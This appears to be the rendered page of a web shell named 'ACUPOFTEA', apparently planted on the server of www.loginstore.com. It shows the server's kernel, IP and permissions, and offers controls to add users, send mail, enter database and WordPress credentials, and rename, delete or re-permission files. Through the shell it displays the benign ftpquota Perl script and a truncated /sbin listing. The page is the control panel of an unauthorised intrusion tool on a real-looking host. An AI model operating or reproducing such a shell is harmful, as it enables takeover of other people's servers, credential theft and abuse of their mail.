System
:
Linux loginstore 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
Software
:
Apache/2.4.52 (Ubuntu)
Server
:
200.10.71.112
Domains
:
Cant read /etc/named.conf
Permission
:
[
drwxr-xr-x
]
:
/
sbin
/
10.10.0.71
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for www.loginstore.com made by tabagkayu.
Folder Name
File Name
File Content
File
ftpquota
#!/usr/bin/perl # ------------------------------------------------------------------------- # Copyright (C) 2000-2017 TJ Saunders <tj@castaglia.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Suite 500, Boston, MA 02110-1335, USA. # ------------------------------------------------------------------------- use strict; use Fcntl qw(:flock); use File::Basename qw(basename); use Getopt::Long; use IO::Seekable; my $program = basename($0); my $verbose = 0; # These formats are highly dependent on the quota record definitions in # mod_quotatab.h. Should those definitions change, these format strings will # need to be adjusted accordingly. my $limit_format = "Z81I1C1I1d3L3"; my $tally_format = "Z81I1d3L3"; # These sizes are determined by the sizes of the quota_limit_t and # quota_tally_t structs (NOT using C's sizeof(), though -- alignment issues) my $limit_reclen = 126; my $tally_reclen = 121; # the values for these variables is similarly dependent on the actual # values defined in mod_quotatab.h my $ALL_QUOTA = 10; my $USER_QUOTA = 20; my $GROUP_QUOTA = 30; my $CLASS_QUOTA = 40; my $HARD_LIMIT = 1; my $SOFT_LIMIT = 2; my $LIMIT_TABLE = 100; my $TALLY_TABLE = 101; my $LIMIT_MAGIC = hex(7626); my $TALLY_MAGIC = hex(7644); my $default_limit_table = "./ftpquota.limittab"; my $default_tally_table = "./ftpquota.tallytab"; my $default_name = ""; my $default_quota_type = $ALL_QUOTA; my $default_limit_type = $HARD_LIMIT; my $default_per_session = 0; my $default_bytes_in = -1.0; my $default_bytes_out = -1.0; my $default_bytes_xfer = -1.0; my $default_files_in = 0; my $default_files_out = 0; my $default_files_xfer = 0; my $byte_units = "byte"; my %opts = (); GetOptions(\%opts, 'Bu=n', 'bytes-upload=n', 'Bd=n', 'bytes-download=n', 'Bt=n', 'bytes-xfer=n', 'Fu=n', 'files-upload=n', 'Fd=n', 'files-download=n', 'Ft=n', 'files-xfer', 'L|limit-type=s', 'N|name=s', 'P|per-session', 'Q|quota-type=s', 'help', 'table-path=s', 'units=s', 'verbose', 'type=s', 'add-record', 'create-table', 'delete-record', 'show-records', 'update-record'); usage() if (defined($opts{'help'})); my ($table, $table_type); my %record = (); parse_options(); if (defined($opts{'add-record'})) { open_table(); wlock_table(); add_record(); unlock_table(); close_table(); exit 0; } if (defined($opts{'create-table'})) { open_table(); close_table(); exit 0; } if (defined($opts{'delete-record'})) { open_table(); wlock_table(); delete_record(); unlock_table(); close_table(); exit 0; } if (defined($opts{'show-records'})) { open_table(); rlock_table(); print_table(); unlock_table(); close_table(); exit 0; } if (defined($opts{'update-record'})) { open_table(); wlock_table(); update_record(); unlock_table(); close_table(); exit 0; } # if no operations have been specified, note this and exit print STDOUT "$program: no operations to perform, exiting\n"; exit; # ------------------------------------------------------------------------- sub add_record { print STDOUT "$program: adding record\n" if $verbose; my $add_quota_type; # first, find the matching record. Note that this option requires # both --name and --quota-type if (!defined($opts{'Q'})) { print STDOUT "$program: --add-record requires --quota-type option\n"; exit(1); } else { $add_quota_type = get_quota_type(quota_type => $opts{'Q'}); } if ($add_quota_type != $ALL_QUOTA) { if (!defined($opts{'N'})) { print STDOUT "$program: --add-record requires --name option\n"; exit(1); } } # now, see if there is a matching record already in the table if (find_record(name => $opts{'N'}, quota_type => $add_quota_type)) { print STDOUT "$program: unable to add record: matching record already exists\n"; exit(1); } # move to the end of the table, and write the new record set_table_position(0, SEEK_END); my $formatted_record; if ($table_type == $LIMIT_TABLE) { $formatted_record = pack($limit_format, $record{'name'}, $record{'quota_type'}, $record{'per_session'}, $record{'limit_type'}, $record{'bytes_in'}, $record{'bytes_out'}, $record{'bytes_xfer'}, $record{'files_in'}, $record{'files_out'}, $record{'files_xfer'}); } elsif ($table_type == $TALLY_TABLE) { $formatted_record = pack($tally_format, $record{'name'}, $record{'quota_type'}, $record{'bytes_in'}, $record{'bytes_out'}, $record{'bytes_xfer'}, $record{'files_in'}, $record{'files_out'}, $record{'files_xfer'}); } write_record(record => $formatted_record); } # ------------------------------------------------------------------------- sub check_table { my $data; print STDOUT "$program: checking table '$table'\n" if $verbose; sysread TABLE, $data, 4; # unpack what was read in my ($magic) = unpack("L", $data); if ($table_type == $LIMIT_TABLE) { if ($magic != $LIMIT_MAGIC) { print STDOUT "$program: bad header: $magic != $LIMIT_MAGIC\n" if $verbose; die "$program: mismatched table header, exiting\n"; } else { print STDOUT "$program: table has correct header\n" if $verbose; } } elsif ($table_type == $TALLY_TABLE) { if ($magic != $TALLY_MAGIC) { print STDOUT "$program: bad header magics: $magic != $TALLY_MAGIC\n" if $verbose; die "$program: mismatched table header, exiting\n"; } else { print STDOUT "$program: table has correct header\n" if $verbose; } } } # ------------------------------------------------------------------------- sub close_table { print STDOUT "$program: closing table '$table'\n" if $verbose; close(TABLE); } # ------------------------------------------------------------------------- sub delete_record { print STDOUT "$program: deleting record\n" if $verbose; my $delete_quota_type; # first, find the matching record. Note that this option requires # both --name and --quota-type if (!defined($opts{'Q'})) { print STDOUT "$program: --delete-record requires --quota-type option\n"; exit(1); } else { $delete_quota_type = get_quota_type(quota_type => $opts{'Q'}); } if ($delete_quota_type != $ALL_QUOTA) { if (!defined($opts{'N'})) { print STDOUT "$program: --delete-record requires --name option\n"; exit(1); } } # now, find the matching record in the table unless (find_record(name => $opts{'N'}, quota_type => $delete_quota_type)) { print STDOUT "$program: unable to delete record: no match found\n"; exit(1); } rewind_record(); print STDOUT "$program: modifying table '$table'\n" if $verbose; # first, record the current file position my $position = get_table_position(); # next, advance past this record to be deleted, and read in the # rest of the file seek_record(1); my ($nrecords, @records) = read_table(); # Rewind the previous position, and "delete" that record by simply # overwriting it. Note that this approach works for file tables -- # tables in other formats, such as SQL, will have a much easier time # deleting a quota record. set_table_position($position, SEEK_SET); if ($nrecords > 0) { for (my $i = 0; $i < $nrecords; $i++) { write_record(record => $records[$i]); } # Truncate the table truncate_table(len => get_table_position() - 4); } else { # Truncate the table truncate_table(len => $position - 4); } # done exit(0); } # ------------------------------------------------------------------------- sub find_record { my %args = @_; my $nrecords = 0; my $search_name = $args{'name'}; my $search_quota_type = $args{'quota_type'}; while (my $record = read_record()) { $nrecords++; my ($name, $quota_type, @junk); # unpack the binary record structure if ($table_type == $LIMIT_TABLE) { ($name, $quota_type, @junk) = unpack($limit_format, $record); } elsif ($table_type == $TALLY_TABLE) { ($name, $quota_type, @junk) = unpack($tally_format, $record); } # remove any NULs from $name $name =~ s/(\0*)?//; if ($search_quota_type == $ALL_QUOTA and $quota_type == $ALL_QUOTA) { return $record; } elsif ($name eq $search_name and $quota_type == $search_quota_type) { return $record; } } return undef; } # ------------------------------------------------------------------------- sub get_display_bytes { my %args = @_; my $bytes = $args{'bytes'}; if ($byte_units eq "byte") { # no calculation necessary unless ($bytes eq "unlimited" || $bytes <= 0) { return sprintf "bytes:\t%.2f", $bytes; } else { return sprintf "bytes:\tunlimited"; } } elsif ($byte_units eq "kilo") { # divide by 1024.0 my $adj_bytes = $bytes / 1024.0; unless ($bytes eq "unlimited" || $bytes <= 0) { return sprintf "Kb:\t%.2f", $adj_bytes; } else { return sprintf "Kb:\tunlimited"; } } elsif ($byte_units eq "mega") { # divide by 1024.0 * 1024.0 my $adj_bytes = $bytes / (1024.0 * 1024.0); unless ($bytes eq "unlimited" || $bytes <= 0) { return sprintf "Mb:\t%.2f", $adj_bytes; } else { return sprintf "Mb:\tunlimited"; } } elsif ($byte_units eq "giga") { # divide by 1024.0 * 1024.0 * 1024.0 my $adj_bytes = $bytes / (1024.0 * 1024.0 * 1024.0); unless ($bytes eq "unlimited" || $bytes <= 0) { return sprintf "Gb:\t%.2f", $adj_bytes; } else { return sprintf "Gb:\tunlimited"; } } } # ------------------------------------------------------------------------- sub get_quota_type { my %args = @_; my $quota_type = $args{'quota_type'}; # given the command-line --quote-type option value, return the # corresponding numeric value if ($quota_type eq "all") { return $ALL_QUOTA; } elsif ($quota_type eq "user") { return $USER_QUOTA; } elsif ($quota_type eq "group") { return $GROUP_QUOTA; } elsif ($quota_type eq "class") { return $CLASS_QUOTA; } else { print STDERR "$program: unknown quota type: $quota_type\n"; exit(1); } } # ------------------------------------------------------------------------- sub get_table_position { return sysseek(TABLE, 0, 1); } # ------------------------------------------------------------------------- sub open_table { # if the table doesn't exist, create it if requested if (defined($opts{'create-table'})) { die "$program: cannot create existing table\n" if (-e $table); print STDOUT "$program: creating new table\n" if $verbose; open(TABLE, "> $table") or die "$program: unable to create $table: $!\n"; print STDOUT "$program: writing header for new table\n" if $verbose; # write out the identifying header for the table type if ($table_type == $LIMIT_TABLE) { syswrite TABLE, pack("L", $LIMIT_MAGIC); } elsif ($table_type == $TALLY_TABLE) { syswrite TABLE, pack("L", $TALLY_MAGIC); } } else { print STDOUT "$program: opening table '$table'\n" if $verbose; if (defined($opts{'show-records'})) { open(TABLE, "< $table") or die "$program: unable to open $table: $!\n"; } else { open(TABLE, "+< $table") or die "$program: unable to open $table: $!\n"; } check_table(); } } # ------------------------------------------------------------------------- sub parse_options { $verbose = 1 if (defined($opts{'verbose'})); if (defined($opts{'type'})) { die "$program: unknown table type: $opts{'type'}\n" if ($opts{'type'} ne 'limit' and $opts{'type'} ne 'tally'); if ($opts{'type'} eq 'limit') { $table_type = $LIMIT_TABLE; $table = $default_limit_table; } if ($opts{'type'} eq 'tally') { $table_type = $TALLY_TABLE; $table = $default_tally_table; } } else { die "$program: missing required --type parameter\n"; } $table = $opts{'table-path'} if (defined($opts{'table-path'})); if (defined($opts{'N'})) { $record{'name'} = $opts{'N'}; # make sure the name is not too long die "$program: name is too long, must be less than 80 characters\n" if (length($record{'name'}) >= 80); } else { $record{'name'} = $default_name; } if (defined($opts{'P'})) { $record{'per_session'} = 1; } else { $record{'per_session'} = $default_per_session; } if (defined($opts{'Q'})) { if ($opts{'Q'} eq "all") { $record{'quota_type'} = $ALL_QUOTA; } elsif ($opts{'Q'} eq "user") { $record{'quota_type'} = $USER_QUOTA; # it's an error if there's no -N option present as well unless (defined($opts{'N'})) { print STDOUT "$program: quota type \"user\" requires --name option\n"; exit(1); } } elsif ($opts{'Q'} eq "group") { $record{'quota_type'} = $GROUP_QUOTA; # it's an error if there's no -N option present as well unless (defined($opts{'N'})) { print STDOUT "$program: quota type \"group\" requires --name option\n"; exit(1); } } elsif ($opts{'Q'} eq "class") { $record{'quota_type'} = $CLASS_QUOTA; # it's an error if there's no -N option present as well unless (defined($opts{'N'})) { print STDOUT "$program: quota type \"class\" requires --name option\n"; exit(1); } } else { print STDERR "$program: unknown quota type: $opts{'Q'}\n"; exit(1); } } else { $record{'quota_type'} = $ALL_QUOTA; } if (defined($opts{'L'})) { if ($opts{'L'} eq "hard") { $record{'limit_type'} = $HARD_LIMIT; } elsif ($opts{'L'} eq "soft") { $record{'limit_type'} = $SOFT_LIMIT; } else { print STDERR "$program: unknown limit type: $opts{'L'}\n"; exit(1); } } else { $record{'limit_type'} = $HARD_LIMIT; } # process the --units option, if present if (defined($opts{'units'})) { if ($opts{'units'} eq "B" or $opts{'units'} eq "byte") { $byte_units = "byte"; } elsif ($opts{'units'} eq "Kb" or $opts{'units'} eq "kilo") { $byte_units = "kilo"; } elsif ($opts{'units'} eq "Mb" or $opts{'units'} eq "mega") { $byte_units = "mega"; } elsif ($opts{'units'} eq "Gb" or $opts{'units'} eq "giga") { $byte_units = "giga"; } else { print STDERR "$program: unknown unit type: $opts{'units'}\n"; exit(1); } } if (defined($opts{'Bu'}) || defined($opts{'bytes-upload'})) { if (defined($opts{'Bu'}) && defined($opts{'bytes-upload'})) { print STDOUT "$program: do not use both --Bu and --bytes-upload options\n"; exit(1); } $record{'bytes_in'} = $opts{'Bu'} if (defined($opts{'Bu'})); $record{'bytes_in'} = $opts{'bytes-upload'} if (defined($opts{'bytes-upload'})); if ($record{'bytes_in'} <= 0.0) { print STDERR "$program: notice: upload bytes value '", $record{'bytes_in'}, "' means 'unlimited'\n"; } if ($record{'bytes_in'} != $default_bytes_in) { if ($byte_units eq "kilo") { $record{'bytes_in'} = $record{'bytes_in'} * 1024.0; } elsif ($byte_units eq "mega") { $record{'bytes_in'} = $record{'bytes_in'} * 1024.0 * 1024.0; } elsif ($byte_units eq "giga") { $record{'bytes_in'} = $record{'bytes_in'} * 1024.0 * 1024.0 * 1024.0; } } } else { $record{'bytes_in'} = $default_bytes_in if ($table_type == $LIMIT_TABLE); $record{'bytes_in'} = 0.0 if ($table_type == $TALLY_TABLE); } if (defined($opts{'Bd'}) || defined($opts{'bytes-download'})) { if (defined($opts{'Bd'}) && defined($opts{'bytes-download'})) { print STDOUT "$program: do not use both --Bd and --bytes-download options\n"; exit(1); } $record{'bytes_out'} = $opts{'Bd'} if (defined($opts{'Bd'})); $record{'bytes_out'} = $opts{'bytes-download'} if (defined($opts{'bytes-download'})); if ($record{'bytes_out'} <= 0.0) { print STDERR "$program: notice: download bytes value '", $record{'bytes_out'}, "' means 'unlimited'\n"; } if ($record{'bytes_out'} != $default_bytes_out) { if ($byte_units eq "kilo") { $record{'bytes_out'} = $record{'bytes_out'} * 1024.0; } elsif ($byte_units eq "mega") { $record{'bytes_out'} = $record{'bytes_out'} * 1024.0 * 1024.0; } elsif ($byte_units eq "giga") { $record{'bytes_out'} = $record{'bytes_out'} * 1024.0 * 1024.0 * 1024.0; } } } else { $record{'bytes_out'} = $default_bytes_out if ($table_type == $LIMIT_TABLE); $record{'bytes_out'} = 0.0 if ($table_type == $TALLY_TABLE); } if (defined($opts{'Bx'}) || defined($opts{'bytes-xfer'})) { if (defined($opts{'Bx'}) && defined($opts{'bytes-xfer'})) { print STDOUT "$program: do not use both --Bx and --bytes-xfer options\n"; exit(1); } $record{'bytes_xfer'} = $opts{'Bx'} if (defined($opts{'Bx'})); $record{'bytes_xfer'} = $opts{'bytes-xfer'} if (defined($opts{'bytes-xfer'})); if ($record{'bytes_xfer'} <= 0.0) { print STDERR "$program: notice: transfer bytes value '", $record{'bytes_xfer'}, "' means 'unlimited'\n"; } if ($record{'bytes_xfer'} != $default_bytes_xfer) { if ($byte_units eq "kilo") { $record{'bytes_xfer'} = $record{'bytes_xfer'} * 1024.0; } elsif ($byte_units eq "mega") { $record{'bytes_xfer'} = $record{'bytes_xfer'} * 1024.0 * 1024.0; } elsif ($byte_units eq "giga") { $record{'bytes_xfer'} = $record{'bytes_xfer'} * 1024.0 * 1024.0 * 1024.0; } } } else { $record{'bytes_xfer'} = $default_bytes_xfer if ($table_type == $LIMIT_TABLE); $record{'bytes_xfer'} = 0.0 if ($table_type == $TALLY_TABLE); } if (defined($opts{'Fu'}) || defined($opts{'files-upload'})) { if (defined($opts{'Fu'}) && defined($opts{'files-upload'})) { print STDOUT "$program: do not use both --Fu and --files-upload options\n"; exit(1); } $record{'files_in'} = $opts{'Fu'} if (defined($opts{'Fu'})); $record{'files_in'} = $opts{'files-upload'} if (defined($opts{'files-upload'})); if ($record{'files_in'} <= 0) { print STDERR "$program: notice: upload files value '", $record{'files_in'}, "' means 'unlimited'\n"; } } else { $record{'files_in'} = $default_files_in if ($table_type == $LIMIT_TABLE); $record{'files_in'} = 0 if ($table_type == $TALLY_TABLE); } if (defined($opts{'Fd'}) || defined($opts{'files-download'})) { if (defined($opts{'Fd'}) && defined($opts{'files-download'})) { print STDOUT "$program: do not use both --Fd and --files-download options\n"; exit(1); } $record{'files_out'} = $opts{'Fd'} if (defined($opts{'Fd'})); $record{'files_out'} = $opts{'files-download'} if (defined($opts{'files-download'})); if ($record{'files_out'} <= 0) { print STDERR "$program: notice: download files value '", $record{'files_out'}, "' means 'unlimited'\n"; } } else { $record{'files_out'} = $default_files_out if ($table_type == $LIMIT_TABLE); $record{'files_out'} = 0 if ($table_type == $TALLY_TABLE); } if (defined($opts{'Fx'}) || defined($opts{'files-xfer'})) { if (defined($opts{'Fx'}) && defined($opts{'files-xfer'})) { print STDOUT "$program: do not use both --Fx and --files-xfer options\n"; exit(1); } $record{'files_xfer'} = $opts{'Fx'} if (defined($opts{'Fx'})); $record{'files_xfer'} = $opts{'files-xfer'} if (defined($opts{'files-xfer'})); if ($record{'files_xfer'} <= 0) { print STDERR "$program: notice: transfer files value '", $record{'files_xfer'}, "' means 'unlimited'\n"; } } else { $record{'files_xfer'} = $default_files_xfer if ($table_type == $LIMIT_TABLE); $record{'files_xfer'} = 0 if ($table_type == $TALLY_TABLE); } } # ------------------------------------------------------------------------- sub print_record { my %args = @_; my $record = $args{'record'}; my ($name, $quota_type, $per_session, $limit_type, $bytes_in, $bytes_out, $bytes_xfer, $files_in, $files_out, $files_xfer); if ($table_type == $LIMIT_TABLE) { ($name, $quota_type, $per_session, $limit_type, $bytes_in, $bytes_out, $bytes_xfer, $files_in, $files_out, $files_xfer) = unpack($limit_format, $record); } elsif ($table_type == $TALLY_TABLE) { ($name, $quota_type, $bytes_in, $bytes_out, $bytes_xfer, $files_in, $files_out, $files_xfer) = unpack($tally_format, $record); } # make the symbolic values legible $quota_type = "All" if ($quota_type == $ALL_QUOTA); $quota_type = "User" if ($quota_type == $USER_QUOTA); $quota_type = "Group" if ($quota_type == $GROUP_QUOTA); $quota_type = "Class" if ($quota_type == $CLASS_QUOTA); if ($table_type == $LIMIT_TABLE) { $limit_type = "Hard" if ($limit_type == $HARD_LIMIT); $limit_type = "Soft" if ($limit_type == $SOFT_LIMIT); if ($per_session eq 1) { $per_session = "True"; } else { $per_session = "False"; } } # print "unlimited" if quota is unlimited, but only for limit tables if ($table_type == $LIMIT_TABLE) { $bytes_in = "unlimited" if ($bytes_in <= 0.0); $bytes_out = "unlimited" if ($bytes_out <= 0.0); $bytes_xfer = "unlimited" if ($bytes_xfer <= 0.0); $files_in = "unlimited" if ($files_in <= 0); $files_out = "unlimited" if ($files_out <= 0); $files_xfer = "unlimited" if ($files_xfer <= 0); } print STDOUT "-------------------------------------------\n"; print STDOUT " Name: $name\n"; print STDOUT " Quota Type: $quota_type\n"; if ($table_type == $LIMIT_TABLE) { print STDOUT " Per Session: $per_session\n"; print STDOUT " Limit Type: $limit_type\n"; } print STDOUT " Uploaded ", get_display_bytes('bytes' => $bytes_in), "\n"; print STDOUT " Downloaded ", get_display_bytes('bytes' => $bytes_out), "\n"; print STDOUT " Transferred ", get_display_bytes('bytes' => $bytes_xfer), "\n"; print STDOUT " Uploaded files:\t$files_in\n"; print STDOUT " Downloaded files:\t$files_out\n"; print STDOUT " Transferred files:\t$files_xfer\n"; } # ------------------------------------------------------------------------- sub print_table { my $have_records = 0; while (my $record = read_record()) { $have_records = 1; print_record(record => $record); } print STDOUT "$program: (empty table)\n" unless ($have_records); # done exit(0); } # ------------------------------------------------------------------------- sub read_record { my $record; my $bread; if ($table_type == $LIMIT_TABLE) { $bread = sysread TABLE, $record, $limit_reclen; } elsif ($table_type == $TALLY_TABLE) { $bread = sysread TABLE, $record, $tally_reclen; } if ($bread) { return $record; } else { return undef; } } # ------------------------------------------------------------------------- sub read_table { my @records = (); my $nrecords_read = 0; # read from TABLE while (my $record = read_record()) { $nrecords_read++; push(@records, $record); } return ($nrecords_read, @records); } # ------------------------------------------------------------------------- sub rewind_record { if ($table_type == $LIMIT_TABLE) { sysseek TABLE, -$limit_reclen, 1; } elsif ($table_type == $TALLY_TABLE) { sysseek TABLE, -$tally_reclen, 1; } } # ------------------------------------------------------------------------- sub rlock_table { print STDOUT "$program: read-locking table '$table'\n" if $verbose; flock(TABLE, LOCK_SH); } # ------------------------------------------------------------------------- sub seek_record { my ($n) = @_; if ($table_type == $LIMIT_TABLE) { sysseek TABLE, $limit_reclen, $n; } elsif ($table_type == $TALLY_TABLE) { sysseek TABLE, $tally_reclen, $n; } } # ------------------------------------------------------------------------- sub set_table_position { my ($position, $whence) = @_; my $result = sysseek(TABLE, $position, $whence); print STDOUT "$program: set table position to $result\n" if $verbose; return $result; } # ------------------------------------------------------------------------- sub truncate_table { my %args = @_; my $length = $args{'len'}; # don't forget about the header (4 bytes) truncate TABLE, $length + 4; } # ------------------------------------------------------------------------- sub unlock_table { print STDOUT "$program: unlocking table '$table'\n" if $verbose; flock(TABLE, LOCK_UN); } # ------------------------------------------------------------------------- sub update_record { my $current_record; my $search_quota_type; # first, find the matching record. Note that this option requires # both --name and --quota-type if (!defined($opts{'Q'})) { print STDOUT "$program: --update-record requires --quota-type option\n"; exit(1); } else { $search_quota_type = get_quota_type(quota_type => $opts{'Q'}); } if ($search_quota_type != $ALL_QUOTA) { if (!defined($opts{'N'})) { print STDOUT "$program: --update-record requires --name option\n"; exit(1); } } # now, find the matching record in the table open_table(); unless ($current_record = find_record(name => $opts{'N'}, quota_type => $search_quota_type)) { print STDOUT "$program: unable to update record: no match found\n"; exit(1); } rewind_record(); print STDOUT "$program: updating table '$table'\n" if $verbose; # now, adjust the current record with the updated values in the requested # record my ($name, $quota_type, $per_session, $limit_type, @junk); if ($table_type == $LIMIT_TABLE) { ($name, $quota_type, $per_session, $limit_type, @junk) = unpack($limit_format, $current_record); } elsif ($table_type == $TALLY_TABLE) { ($name, $quota_type, @junk) = unpack($tally_format, $current_record); } my $formatted_record; if ($table_type == $LIMIT_TABLE) { $formatted_record = pack($limit_format, $name, $quota_type, $record{'per_session'}, $record{'limit_type'}, $record{'bytes_in'}, $record{'bytes_out'}, $record{'bytes_xfer'}, $record{'files_in'}, $record{'files_out'}, $record{'files_xfer'}); } elsif ($table_type == $TALLY_TABLE) { $formatted_record = pack($tally_format, $name, $quota_type, $record{'bytes_in'}, $record{'bytes_out'}, $record{'bytes_xfer'}, $record{'files_in'}, $record{'files_out'}, $record{'files_xfer'}); } write_record(record => $formatted_record); # done exit(0); } # ------------------------------------------------------------------------- sub wlock_table { print STDOUT "$program: write-locking table '$table'\n" if $verbose; flock(TABLE, LOCK_EX); } # ------------------------------------------------------------------------- sub write_record { my %args = @_; my $record = $args{'record'}; print STDOUT "$program: writing record\n" if $verbose; die "$program: error writing table: $!\n" unless syswrite TABLE, $record; } # ------------------------------------------------------------------------- sub usage { print STDOUT <<END_OF_USAGE; usage: $program [options] The following options describe the type of operation to be performed: --add-record Create a new record with the specified limits. Any limits left unspecified with have their default values. This option requires the --name and --quota-type options. --create-table Create the table if not present. Used to initialize a table. The default limit table path is "$default_limit_table". The default tally table path is "$default_tally_table". --delete-record Deletes a quota record from the table. This option requires the --name and --quote-type options. --show-records Prints out all of the quota records in the table in a legible format. --update-record Updates a quota record with the specified limits. Any limits left unspecified will be updated with their default value. This option requires the --name and --quota-type options. The following option describes the type of table on which to operate: --type Specifies a table type to use. The allowable options are: "limit" or "tally". This is required. The following options are used to specify specific quota limits: --Bu Specifies the limit of the number of bytes that may be --bytes-upload uploaded. Defaults to -1 (unlimited). Note that any value less than or equal to zero is treated as "unlimited". --Bd Specifies the limit of the number of bytes that may be --bytes-download downloaded. Defaults to -1 (unlimited). Note that any value less than or equal to zero is treated as "unlimited". --Bx Specifies the limit of the number of bytes that may be --bytes-xfer transferred. Note that this total includes uploads, downloads, AND directory listings. Defaults to -1 (unlimited). Note that any value value less than or equal to zero is treated as "unlimited". --Fu Specifies the limit of the number of files that may be --files-upload uploaded. Defaults to -1 (unlimited). Note that any value less than or equal to zero is treated as "unlimited". --Fd Specifies the limit of the number of files that may be --files-download downloaded. Defaults to -1 (unlimited). Note that any value less than or equal to zero is treated as "unlimited". --Fx Specifies the limit of the number of files that may be --files-xfer transferred, including uploads and downloads. Defaults to -1 (unlimited). Note that any value less than or equal to zero is treated as "unlimited". -L Specifies the type of limit, "hard" or "soft", of --limit-type the bytes limits. If "hard", any uploaded files that push the bytes used counter past the limit will be automatically deleted; if "soft", those extra bytes will be allowed, but future uploads will be denied. This option only makes sense if --type is "limit". -N Specifies a name for the quota record. This name --name will be the user/login name, group name, or class name, depending on the quota type. This option is ignored if the quota type specified is "all". -P --per-session Specifies that the quota limit is to be applied only to each session, rather than persisting across sessions. By default, quotas are persistent. -Q Specifies a "quota type" for this record, where --quota-type the type means to which category of FTP users this quota will apply. The quota type must be one of: "user", "group", "class", or "all". The following options are miscellaneous: --help Displays this message. --table-path Specifies the path to a quota table file to use. --units Specifies whether to treats bytes as is, in kilobytes, megabytes, or gigabytes. Allowable options are: "B" or "byte", "Kb" or "kilo", "Mb" or "mega", and "Gb" or "giga". Defaults to "byte". --verbose Toggles more verbose information about the doings of the tool as it works. END_OF_USAGE exit 0; } # -------------------------------------------------------------------------
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2026-07-30 06:58:04
..
DIR
-
drwxr-xr-x
2024-02-16 06:37:05
ModemManager
application/x-pie-executable
2.09 MB
-rwxr-xr-x
2024-07-18 02:24:32
a2disconf
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2dismod
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2dissite
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2enconf
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2enmod
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2ensite
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2query
text/x-perl
9.64 KB
-rwxr-xr-x
2026-07-06 04:41:46
aa-remove-unknown
text/x-shellscript
3 KB
-rwxr-xr-x
2025-08-15 12:17:13
aa-status
application/x-pie-executable
62.62 KB
-rwxr-xr-x
2025-08-15 12:17:13
aa-teardown
text/x-shellscript
137 B
-rwxr-xr-x
2022-02-10 12:45:25
accessdb
application/x-pie-executable
14.55 KB
-rwxr-xr-x
2022-03-17 07:03:00
add-shell
text/x-shellscript
1.03 KB
-rwxr-xr-x
2022-03-23 01:49:54
addgnupghome
text/x-shellscript
3 KB
-rwxr-xr-x
2026-01-05 10:14:39
addgroup
text/x-perl
37.35 KB
-rwxr-xr-x
2021-01-06 06:16:50
adduser
text/x-perl
37.35 KB
-rwxr-xr-x
2021-01-06 06:16:50
agetty
application/x-pie-executable
55.56 KB
-rwxr-xr-x
2026-03-06 04:10:04
apache2
application/x-pie-executable
740.95 KB
-rwxr-xr-x
2026-07-06 04:41:46
apache2ctl
text/x-shellscript
7.06 KB
-rwxr-xr-x
2024-03-18 01:41:27
apachectl
text/x-shellscript
7.06 KB
-rwxr-xr-x
2024-03-18 01:41:27
apparmor_parser
application/x-pie-executable
1.48 MB
-rwxr-xr-x
2025-08-15 12:17:13
apparmor_status
application/x-pie-executable
62.62 KB
-rwxr-xr-x
2025-08-15 12:17:13
applygnupgdefaults
text/x-shellscript
2.17 KB
-rwxr-xr-x
2026-01-05 10:14:39
arpd
application/x-pie-executable
26.33 KB
-rwxr-xr-x
2026-04-15 07:15:26
arptables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
auth-otp
application/x-pie-executable
18.54 KB
-rwxr-xr-x
2025-02-05 01:53:13
badblocks
application/x-pie-executable
34.32 KB
-rwxr-xr-x
2023-10-09 01:50:10
bcache-super-show
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2022-03-23 09:42:55
biosdecode
application/x-pie-executable
23.2 KB
-rwxr-xr-x
2024-10-14 08:28:46
blkdeactivate
text/x-shellscript
15.97 KB
-rwxr-xr-x
2024-11-27 07:04:29
blkdiscard
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
blkid
application/x-pie-executable
50.41 KB
-rwxr-xr-x
2026-03-06 04:10:04
blkzone
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
blockdev
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
bridge
application/x-pie-executable
92.49 KB
-rwxr-xr-x
2026-04-15 07:15:26
cache_check
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_dump
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_metadata_size
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_repair
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_restore
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
cache_writeback
application/x-pie-executable
1.33 MB
-rwxr-xr-x
2022-03-18 12:36:33
capsh
application/x-pie-executable
30.3 KB
-rwxr-xr-x
2026-04-09 03:04:48
cfdisk
application/x-pie-executable
94.73 KB
-rwxr-xr-x
2026-03-06 04:10:04
cgdisk
application/x-pie-executable
